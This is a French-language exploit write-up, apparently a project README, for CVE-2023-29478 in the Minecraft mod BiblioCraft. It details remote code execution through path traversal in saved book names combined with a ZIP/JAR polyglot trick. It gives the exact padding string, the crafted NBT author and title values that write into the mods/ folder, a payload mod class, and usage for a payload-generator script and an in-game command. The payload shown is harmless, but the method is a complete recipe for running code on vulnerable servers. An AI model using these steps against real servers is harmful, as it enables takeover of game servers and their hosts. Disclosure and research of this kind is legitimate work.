exopteron/bibliorceCVE-2023-29478 - Exploit de manipulation de fichiers/exécution de code à distance affectant les versions de BiblioCraft antérieures à la v2.4.6
Cette méthode ne nécessite que BiblioCraft ! Pas besoin de ruse excessive ni d'autres mods pour parvenir à une exécution de code !
L'article original consacré à CoreTweaks est disponible ici. Je vous recommande de le lire d'abord car je pourrais omettre certains détails qui seront importants plus bas.
L'exécution de code est possible via plusieurs méthodes. Cela affecte BiblioCraft 1.7.10 v1.11.7 et BiblioCraft 1.12.2 v2.4.5 (confirmé) et probablement toutes les versions de BiblioCraft antérieures à v2.4.6 (non confirmé, non testé).
Les correctifs existants qui corrigent le bug de traversée de chemin empêcheront toujours cette nouvelle voie d'exécution de code.
Cette fois, nous nous concentrons sur l'enregistrement des livres écrits Vanilla.
Les livres écrits sont enregistrés dans world/books/<author-name>, <book-title>.
Le format de ces livres est, par ligne :
En reprenant depuis le début, les pages du livre commencent par un marqueur #pgx<page-number> et, de la ligne suivante jusqu'au marqueur suivant, tout fait partie de cette page. BiblioCraft ajoute toujours un saut de ligne à la fin des lignes, même si rien ne suit.
Comme précédemment, nous pouvons contrôler à la fois le titre du livre et le nom de l'auteur via la balise NBT du livre, et également effectuer une traversée de chemin.
L'emplacement dans lequel nous allons écrire est le dossier mods/. Les mods de ce répertoire sont le plus souvent stockés sous forme de fichiers JAR. Une propriété intéressante des fichiers JAR est qu'ils ne sont en réalité que des fichiers ZIP déguisés.
Alors, en quoi cela nous aide-t-il ?
Les fichiers ZIP ont une propriété intéressante : ils peuvent rester valides même si des données parasites sont ajoutées avant ou après eux.
L'enregistrement EOCD (End of central directory) d'un fichier ZIP est placé à la fin.
Il se compose (approximativement) d'une signature magique 0x06054b50, ainsi que du nombre, de la taille et du décalage des enregistrements du répertoire central dans l'archive.
Le dernier champ d'un enregistrement EOCD est un commentaire préfixé par sa longueur, qui peut être presque n'importe quelle séquence d'octets n'étant pas la signature magique (non testé).
(Je pense que les analyseurs de fichiers ZIP partent de la fin et recherchent la signature EOCD pour analyser l'archive, mais je n'en suis pas tout à fait certain.)
Si, pour trouver les fichiers de l'archive, l'analyseur ZIP n'a besoin que de l'enregistrement EOCD, et si des données (avec certaines limites) peuvent suivre l'enregistrement EOCD, alors nous pouvons créer un ZIP valide même si le fichier contient d'autres données.
(Un immense merci à https://github.com/c0ny1/ascii-jar ! J'ai énormément utilisé ces outils !)
Premièrement, nous devons structurer notre charge utile. Forge charge les classes comme mods si elles portent l'annotation spéciale @Mod, nous allons donc l'utiliser ici.
Notre charge utile approximative :
@Mod(modid = "payload-mod")
public class Payload {
// ...
static {
System.out.println("Hello World!");
}
// ...
}
Pour éviter les problèmes d'encodage, nous utilisons un script pour créer un fichier JAR en ASCII uniquement, contenant uniquement notre classe de charge utile.
Nous complétons le début avec PK\3\4.jar\n../../mods/\nprivate\n#pgx0\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
La raison pour laquelle nous préfixons PK\3\4 (la signature d'en-tête de fichier local du ZIP) au remplissage est due à une étrange bizarrerie de Forge que je n'ai pas pu reproduire ailleurs : les fichiers JAR sont vérifiés pour commencer par cette signature, bien que cela ne soit pas une exigence du format ZIP ? Cela peut être un bug de Forge.
Nous utilisons la longue chaîne de 'A' et de 'a' pour garantir que le décalage est supérieur à 255, ce qui assure que l'entier de 2 octets encodant le décalage ne contient aucun octet hors de la plage ASCII.
Nous complétons la fin avec \n pour éviter les problèmes liés à l'ajout de sauts de ligne par BiblioCraft.
Avec notre JAR rempli, nous prenons tous les octets qui suivent le dernier saut de ligne des données ajoutées au début, nous créons une nouvelle chaîne à partir de ceux-ci (nous l'appellerons <jar-data>) et nous créons un nouveau livre écrit avec les données NBT suivantes :
TAG_Compound(''): 2 entries
{
TAG_String("author"): "../../mods/"
TAG_String("title"): "PK\3\4.jar"
TAG_List("pages"): 1 entry
{
TAG_String(None): "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + <jar-data>
}
}
Lorsque nous enregistrons ce livre sur le disque via BiblioCraft, toutes les données de remplissage seront « régénérées » par son format, rendant notre JAR à nouveau valide.
Et maintenant, au prochain redémarrage du serveur (même un redémarrage normal, ou si vous provoquez un crash), notre JAR de mod sera chargé et notre code sera exécuté.
Dans BiblioPOC/tools/ se trouve un script Python3 pour aider à générer une charge utile valide.
Les arguments sont :
python3 create_payload.py [java_file] [forge_jar_location] [class_name] [output_dir]
Ensuite, en jeu, en tenant un atlas BiblioCraft, exécutez
/jarpoccommand [completed_jar_path] où [completed_jar_path] est le chemin vers [output_dir]/completed.jar.